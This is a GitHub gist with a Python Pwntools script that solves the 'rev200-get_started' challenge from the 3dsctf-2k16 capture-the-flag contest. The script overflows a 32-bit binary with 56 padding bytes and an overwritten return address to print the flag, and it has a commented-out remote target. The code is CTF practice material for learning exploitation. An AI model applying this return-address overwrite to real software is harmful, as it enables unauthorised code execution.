Skip to content

Instantly share code, notes, and snippets.

@intrd
Last active February 17, 2018 18:28
Show Gist options
  • Save intrd/22ad1e62f50ca196c455b3c71ad7709a to your computer and use it in GitHub Desktop.
Save intrd/22ad1e62f50ca196c455b3c71ad7709a to your computer and use it in GitHub Desktop.
Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16
## Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32, log_level = 'debug')
#context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32)
binary = './get_started'
p = process(binary,stdin=process.PTY)
# Remote
# HOST = '54.175.35.248'
# PORT = 8005
# p = remote(HOST, PORT)
tex=p.recv(timeout=0.5)
print tex
overflow = "a"*56
addr = 0x080489b8
overflow += p32(addr)
print("[*] sending overflow..")
p.sendline(overflow)
print("[*] done.")
flag = p.recvall()
print("[*] output: " + flag)
p.clean()
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment